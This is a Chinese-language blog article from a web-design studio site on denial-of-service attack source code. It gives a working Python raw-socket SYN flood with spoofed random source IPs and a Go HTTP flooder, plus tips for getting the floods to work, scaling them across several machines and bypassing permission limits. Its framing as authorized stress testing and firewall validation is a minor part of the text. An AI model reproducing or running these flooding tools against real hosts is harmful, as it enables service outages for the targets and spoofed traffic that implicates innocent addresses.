尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

DoS攻击源码实战解析:从攻击原理到防护验证

DoS攻击源码实战解析:从攻击原理到防护验证 简介这是一份面向网络安全学习者、在校学生及安全测试人员的DOS拒绝服务攻击实验源代码用于从代码层面理解网络攻击的常见手法与防御思路。资源共6个文件以C源文件为核心附带Visual C工程所需的项目文件.dsp、.dsw、.opt、.plg、.ncb压缩包仅11KB属于轻量级教学示例。目前已有512人学习浏览。源码展示了SYN Flood、Ping Flood、UDP Flood等经典攻击的实现逻辑比如通过大量SYN请求制造半开连接耗尽目标服务器的内存与CPU或持续发送ICMP回显请求导致系统无法响应。读者可结合描述中的防护策略深入理解防火墙规则过滤、连接阈值限制、流量清洗及负载均衡等机制如何阻断或缓解此类攻击并由此建立对DDoS分布式攻击及系统加固的整体认知。需要强调的是该代码仅限在合法实验环境、渗透测试授权或教学研究中分析使用任何未经许可的主动攻击都属违法行为请务必遵守网络安全法律法规。1. 先说清楚DOS 拒绝服务攻击源代码是什么为什么隔离环境里最缺它如果你在找用 Python 或 C 写的 DOS 拒绝服务攻击源代码大概率不是要去搞破坏而是遇到了一件具体的事安全演练、网络压测、防火墙规则验证都需要构造真实的攻击流量。我自己做内网演练时就经常碰到这种局面——现成攻击工具参数不透明像个黑匣子想调慢点观察防护设备反应都没法下手干脆把源码读透按自己的场景重写。下面的内容按“模型—源码—参数—踩坑—反向使用”的顺序讲DoS 背后是哪些协议漏洞最小可运行代码长什么样rate 和源 IP 怎么调以及五个最容易翻车的坑。适合运维、安全工程师和负责网关策略的人。跑通以后你手里的就不只是一段代码而是一套能验证防护设备阈值、能产出压测基线的工具。2. 读 DoS 源代码前要建立的四类攻击模型每种对应一个源码骨架2.1 SYN Flood用半连接占满协议栈状态表SYN Flood 打的是 TCP 三次握手的内核实现。客户端发 SYN服务端回复 SYNACK然后把这条连接放进半连接队列等客户端的 ACK。如果客户端永远不发 ACK这条半连接就会在队列里捱到超时。队列长度是有限的超出后新 SYN 直接丢正常用户也连不进来。源码层面这件事极简构造一个 TCP 头Flags 只置 SYN源 IP 随机填然后循环发送。不需要完整握手不需要 ACK不需要应用层数据。理解这个模型后你就知道为什么它挑端口——目标是任何监听 TCP 的服务80、443、22 都可以。真正写代码时有两个隐藏难点一个是 IP 头校验和与 TCP 头校验和的计算另一个是 raw socket 需要 root 权限这两点我在第 3 章会给出可跑通的写法。2.2 HTTP Flood应用层请求走的是完整业务链路HTTP Flood 和三握手攻击完全不同。它建立的是完整 TCP 连接发送合法 HTTP GET 或 POST 请求服务器要经过 accept、HTTP 解析、路由分发、查数据库、渲染响应这一整条链路。消耗的不是半连接队列而是 CPU、内存、数据库连接池和带宽。这类源码的骨架一眼就能认出来一个循环里反复发起 HTTP 请求强调并发、连接复用、随机化的 URL 参数。和 SYN Flood 比它更难防护因为请求看起来是正常的你必须靠频率和指纹识别。写这种源码时重点不在 TCP 头而在 HTTP 客户端的配置——超时时间、连接复用、User-Agent 伪装。Go 和 Python 都有很成熟的实现第 4 章我会用 Go 写一个可限速的版本。2.3 UDP 反射放大小请求换大流量的杠杆原理反射放大的核心是“源地址欺骗 不对称响应”。攻击者把 UDP 请求的源 IP 伪造成受害者 IP发给 NTP、DNS、memcached 这类公共服务服务端会把大量响应数据发给受害者。NTP 的 monlist 请求几十字节响应能达到几百倍甚至上千倍放大。写这类源码比 SYN Flood 还简单因为 UDP 无状态用普通 socket 就能发唯一关键是能伪造源 IP 的 raw socket。但近年运营商和云厂商做了不少源地址验证BCP38 思路伪造源 IP 的包可能出不了网。所以现在的反射放大源码往往配合僵尸网络源 IP 是真实肉鸡 IP杠杆率依然成立。你如果只是做内网防护测试重点看反射倍数这个参数而不是纠结能不能出网。2.4 慢速攻击用长连接拖住连接数上限慢速攻击和前面三种完全不是一个路子。它不追求单包杀伤力而是把每个连接占住不放。Slowloris 是最典型的建立 TCP 连接后缓慢地发 HTTP 头故意不发送结束符让服务器一直等当连接数接近上限时正常用户连不上。另外一种变体是 slow body连接建立了、POST 头也发完了但 body 每几十秒才挤一段。源码里它的特征是循环 sleep并且设置了很高的超时阈值。参数上最敏感的是“并发连接数”和“发包间隔”。这类攻击对 Apache 这类按进程/线程处理连接的架构很有效但对基于事件循环的架构Nginx、Node.js效果差很多。看懂这套模型你就知道为什么防护设备的“慢速攻击检测”往往盯着新建连接速率和单个连接存活时长这两个指标。3. 用 Python 还原一个 SYN Flood 原型最小可运行源码与参数拆解3.1 最小可运行的 raw socket 代码先给一段我用来做内网演练的 Python 脚本核心逻辑约 50 行只依赖标准库。它手工构造 IP 头和 TCP 头把 SYN 包发到目标 IP 的指定端口。import random import socket import struct import time def checksum(data: bytes) - int: if len(data) % 2: data b\x00 total 0 for i in range(0, len(data), 2): total struct.unpack(!H, data[i:i2])[0] total (total 16) (total 0xffff) total total 16 return (~total) 0xffff def build_syn_packet(src_ip: str, dst_ip: str, dst_port: int) - bytes: src_port random.randint(1024, 65535) seq random.randint(0, 0xffffffff) tcp_header struct.pack( !HHIIBBHHH, src_port, # 源端口随机 dst_port, # 目标端口 seq, # 初始序列号随机 0, # ACK 序列号SYN 时为 0 5 4, # 数据偏移 5即 TCP 头 20 字节 0x02, # Flags 只置 SYN 4096, # 窗口大小 0, # 校验和先填 0 0 # 紧急指针 ) pseudo_header ( socket.inet_aton(src_ip) socket.inet_aton(dst_ip) struct.pack(!BBH, 0, socket.IPPROTO_TCP, len(tcp_header)) ) tcp_checksum checksum(pseudo_header tcp_header) tcp_header tcp_header[:16] struct.pack(!H, tcp_checksum) tcp_header[18:] ip_total_len 20 20 ip_header struct.pack( !BBHHHBBH4s4s, 0x45, # IPv4IHL5 0, # DSCP/ECN ip_total_len, # IP 总长度 random.randint(0, 0xffff), # 标识字段随机 0x4000, # DF1 64, # TTL socket.IPPROTO_TCP, 0, # IP 校验和先填 0 socket.inet_aton(src_ip), socket.inet_aton(dst_ip) ) ip_checksum checksum(ip_header) ip_header ip_header[:10] struct.pack(!H, ip_checksum) ip_header[12:] return ip_header tcp_header def main(): dst_ip 192.168.1.100 dst_port 8080 rate 200 # 每秒发包数先从小值开始调 sock socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) interval 1.0 / rate while True: src_ip ..join(str(random.randint(1, 255)) for _ in range(4)) packet build_syn_packet(src_ip, dst_ip, dst_port) sock.sendto(packet, (dst_ip, 0)) time.sleep(interval) if __name__ __main__: main()这段代码最值得读的部分是校验和计算。TCP 的校验和不是只算 TCP 头而是把伪头部源 IP、目的 IP、协议号、TCP 长度和 TCP 段拼在一起算伪头部不发送只参与计算。很多改造成 UDP Flood 的脚本校验和算错就是这个细节没掌握。另一个关键是IPPROTO_RAW配合IP_HDRINCL告诉内核整个 IP 头由我们自己构造内核不会再套一层——否则它会按实际网卡地址重写源 IP你的伪造就失效了。interval 1.0 / rate是简单的时间间隔控制。rate 设 200 表示每秒 200 个 SYN 包这个速率在内网测试里不会太激进真实攻防里 rate 会调到几千甚至上万但单机很容易先到网卡上限。3.2 四个关键参数src_ip、dst_port、rate、seq先看src_ip。代码里用随机四段数字这模拟了源地址伪造。内网环境里如果目标开启了路由过滤伪造完全随机的 IP 可能发不出去我一般把 IP 段限制在和目标同网段例如目标在 192.168.1.0/24源地址就在 192.168.1.2 到 192.168.1.254 之间随机。这样包能在局域网直接到达目标又能打乱 conntrack 的状态表。dst_port的选择决定了测试对象。打 80/443 会触发 Web 服务的接入层防护打 SSH 22 端口则容易把运维通道直接堵死——这个坑我在第 5 章细说。rate是另一个关键它直接决定测试是“缓慢观察”还是“瞬间压垮”。我习惯从 100 起步每 30 秒翻一倍同时盯目标机器的 CPU 软中断和 conntrack 表项数直到看到指标拐点。seq是序列号。SYN Flood 里它必须随机否则某些内核的自动防护能识别出固定模式并直接丢弃。代码里的random.randint(0, 0xffffffff)已经覆盖了这种情况。千万不要图省事写死成 0那是很多“看起来在发包但目标毫无动静”的典型案例。3.3 单机跑和分布式跑瓶颈与最小组织方式单机跑 SYN Flood瓶颈通常不在 CPU而在两个地方。第一个是发送间隔的精度Python 的time.sleep在毫秒级别误差不大但 rate 超过 2000 时sleep 的调度抖动会让实际速率忽高忽低。第二个是网卡和驱动普通千兆网卡处理小包时 PPS 上限大约在 100 万上下但内核的协议栈处理也会抢占 CPU。真实场景里单机不够需要分布式。最常见的做法是准备若干台压测机每台跑一份脚本目标和端口相同源 IP 段错开由控制端统一给定 rate 总和。用 git 做源代码管理时我会把 rate、端口、源 IP 段作为启动参数而不是硬编码这样批量起任务只要改命令行不用改代码。总有人带着“大模型源码多少行”的心态来问 DoS 代码多少行——其实核心逻辑一屏就放下了行数不是价值协议细节和工程化才是。另外提醒一点脚本默认的sleep循环没有优雅退出要停就用 CtrlC。但 raw socket 在进程被 kill 后已经发出的 SYN 包不会有任何回收动作目标上的半连接只能等内核超时清掉这是协议设计如此不是代码 bug。4. 用 Go 写一个 HTTP Flood 压测器源码结构与并发模型选择4.1 从 Python 换到 Go 的三个理由第一个理由是连接管理。Python 的 Requests 每发一个请求都要处理连接池和线程锁而 Go 的net/http底层连接池天然适合高并发协程开销远小于线程几千个并发连接是常规操作。第二个理由是编译产物。Go 编译出来是单一二进制丢到压测机上不需要装 Python 环境和依赖对多机分布式测试非常友好。第三个理由是限速精度Go 的time.Ticker在毫秒级别的节奏控制上比 Python 的 sleep 更稳HTTP Flood 这类应用层压测速率波动直接影响测试结果的可信度。4.2 可运行的 Go 源码与参数说明下面这段代码我用于对业务系统做 HTTP 层压测重点是可控速率和连接复用。package main import ( flag fmt net/http sync sync/atomic time ) var sent int64 var ok int64 func fire(client *http.Client, url string) { resp, err : client.Get(url) if err ! nil { atomic.AddInt64(sent, 1) return } resp.Body.Close() atomic.AddInt64(sent, 1) atomic.AddInt64(ok, 1) } func main() { url : flag.String(url, , 目标 URL) workers : flag.Int(w, 20, 并发协程数) rate : flag.Int(rate, 200, 每秒请求上限) seconds : flag.Int(t, 10, 持续时间秒) flag.Parse() if *url { flag.Usage() return } client : http.Client{ Transport: http.Transport{ MaxIdleConnsPerHost: 100, DisableKeepAlives: false, }, Timeout: 2 * time.Second, } per : *rate / *workers if per 1 { per 1 } var wg sync.WaitGroup for i : 0; i *workers; i { wg.Add(1) go func() { defer wg.Done() ticker : time.NewTicker(time.Second / time.Duration(per)) defer ticker.Stop() deadline : time.Now().Add(time.Duration(*seconds) * time.Second) for now : range ticker.C { if now.After(deadline) { return } go fire(client, *url) } }() } wg.Wait() fmt.Printf(sent%d ok%d failed%d\n, sent, ok, sent-ok) }代码的逻辑是让每个 worker 协程用自己的ticker独立限速总速率等于 workers 乘以 per。这样做的好处是避免全局一个 ticker 带来的锁竞争和瞬间请求尖峰。per : *rate / *workers是整除所以实际速率会略小于设定值这是可以接受的误差。MaxIdleConnsPerHost是连接池的关键参数。HTTP Flood 的连接复用很依赖它——如果设太小连接会被反复新建TCP 握手本身就成了瓶颈设太大又会占满目标连接表这个要看目标服务器的承受能力调。Timeout 建议不要设太长否则网络偶发延迟会导致大量 goroutine 堆积压测机的文件描述符先被耗尽。4.3 压测与攻击的工程边界限速和阈值怎么写这版代码和攻击脚本的差别只有一个限速。攻击脚本追求最大速率压测代码必须有明确的速率上限。工程上我习惯把 rate、workers、seconds 三个参数全部暴露给命令行这样可以在测试报告里完整记录测试条件回滚对比时也有据可查。另一个边界是目标的选择。压测对象应该是测试环境或授权的预发环境绝不能拿生产地址当靶子。群里看到有人拿公司线上商城试这段代码三分钟不到就把应用服务器打挂了这是事故不是测试。授权、限速、明确目标这三件事缺一件代码就从压测工具变成了攻击工具性质完全不同。5. 把 DoS 源代码跑起来之前的避坑清单五个真实翻车现场5.1 本机打本机现象是服务没挂、机器先断网第一次跑 SYN Flood 时我直接在本机起了一个测试服务脚本目标填 127.0.0.1。结果服务没挂我的 SSH 先断了机器整体失联。原因是本机发出的大量 SYN 包打满了 loopback 接口的处理能力ssh 进程也被拖慢看起来就像断网。解决方法是把目标和攻击源放到两台不同机器上或者至少用虚拟机隔离。如果只有一台机器就开两个网卡 namespace一个跑服务一个跑脚本中间用 veth 连通。绝不要让攻击流量和控制流量走同一个接口。5.2 虚拟机里跑满速没效果现象是目标毫无反应我在 VMware 里跑脚本时rate 调到 1000目标机器的 CPU 和网络指标纹丝不动。排查了一下午发现虚拟网卡默认开启的 TCP 校验和卸载checksum offload把问题掩盖了。虚拟机网卡对发出的包自动重新计算校验和意味着我脚本里花大力气构造的 TCP checksum 根本没生效包结构是错的目标直接丢弃。解决方法是把虚拟网卡的 checksum offload 关掉或者用支持 raw socket 的虚拟交换机模式。这个坑最折腾因为它不是报错而是“一切都正常但没效果”。遇到这种玄学问题第一件事用 tcpdump 在目标侧抓包看 SYN 包到达没有、长度和 flag 对不对。5.3 代码在跑但指标不动现象是被防火墙静默丢弃目标机器的 iptables 配了--syn过滤或连接数限制时脚本发出的包会被静默丢弃服务端没有任何感知。现象就是速率加得再高目标侧抓不到包或者抓到了但被丢在 PREROUTING 阶段。解决方法是先看目标机器的 conntrack 计数sysctl net.netfilter.nf_conntrack_count。如果计数远小于发送量多半被前面规则挡住了。测试前先清空测试机的防火墙规则或者把测试 IP 加入白名单。这也是演练前最容易被忽略的准备工作。5.4 目标没倒、日志把磁盘写满现象是监控先报警磁盘HTTP Flood 压测时我给测试脚本加了一行请求日志每条记录时间戳、状态码、耗时。压测三分钟目标服务扛住了但我这台压测机的磁盘被日志文件写满了。原因很简单——rate 200 时每秒 200 行日志十分钟就是 12 万行每行 100 字节就是 12MB看着不多但如果加了响应体打印单行上 KB很快就爆。解决方法是日志只记录摘要不记录每条请求或者用logrotate做切割。我在后面改的版本里只在进程结束时打印sent/ok/failed三个计数中间过程全靠fmt.Printf输出到终端而不是文件。5.5 raw socket 直接 Permission Denied现象是代码一启动就退出Linux 上创建 raw socket 需要CAP_NET_RAW权限普通用户运行会报Permission denied。Go 版本没有这个问题但 Python 的 raw socket 一定有。另外 Docker 容器里默认的 capabilities 也去掉了NET_RAW所以在容器里跑这段脚本同样会失败。解决方法是给脚本加 sudo或者在容器启动时加--cap-addNET_RAW。我后来统一用setcap cap_net_rawep /usr/bin/python3给解释器加权限但要注意这会有安全影响只在隔离测试环境用。还有一种情况是云主机上某些安全组件会拦截 raw socket 的系统调用现象同样是权限错误但这种属于厂商限制只能换一台机器测。6. 把攻击源码反过来用从 DoS 脚本到压测基线与防护验证跑通上面两类源码后我建议你把它们的角色反转过来。同一份 SYN Flood 脚本rate 调到 50它就从一个攻击工具变成了验证防火墙规则的探针。我先给目标防护设备配置 SYN Flood 阈值然后用递增速率去触发它观察设备是在哪一级开始丢包、报警邮件什么时候发出、清洗策略是否真的生效。这个流程比任何扫描器都可靠因为你用的是真实协议栈的流量不是模拟器。验证方法上有两个小技巧。第一个是抓包对账目标侧跑tcpdump -i eth0 tcp[tcpflags] tcp-syn ! 0统计实际到达的 SYN 包数量和脚本打印的发送量对比。差距超过 5% 就说明中间的某个环节在丢包需要查链路、防火墙还是网卡。第二个是配合防护设备看指标大多数商业 WAF 和 IPS 会展示 SYN Flood 攻击事件的开始、结束时间和峰值速率我用脚本把测试场景复现后拿设备记录的峰值和脚本配置的 rate 做交叉验证能很快发现设备上报的数值偏差。Go 版 HTTP Flood 的用途则是做容量基线。我在每次业务发版前跑一轮rate 从 100 开始每 30 秒加 100到 1000 为止记录响应时间 P99 和应用服务器 CPU 使用率。只要基线有了下次压测一出来就能立刻看出代码变更对性能的影响这是压测代码最值钱的地方。为了便于对比我会把测试参数和结果按日期归档连同 git 提交号一起存好复盘时直接看差异。最后说一个我自己的习惯拿到任何一份 DoS 源代码第一件事不是看攻击效果而是看它有没有限速参数、有没有目标校验、有没有自动停止机制。三个都没有的代码我不会跑因为伤害不可控。把运行边界框好这套源码就是一张可重复使用的测试底牌框不好它就是事故导火索。多做一步后面省十步希望帮到你。本文还有配套的精品资源点击获取
返回列表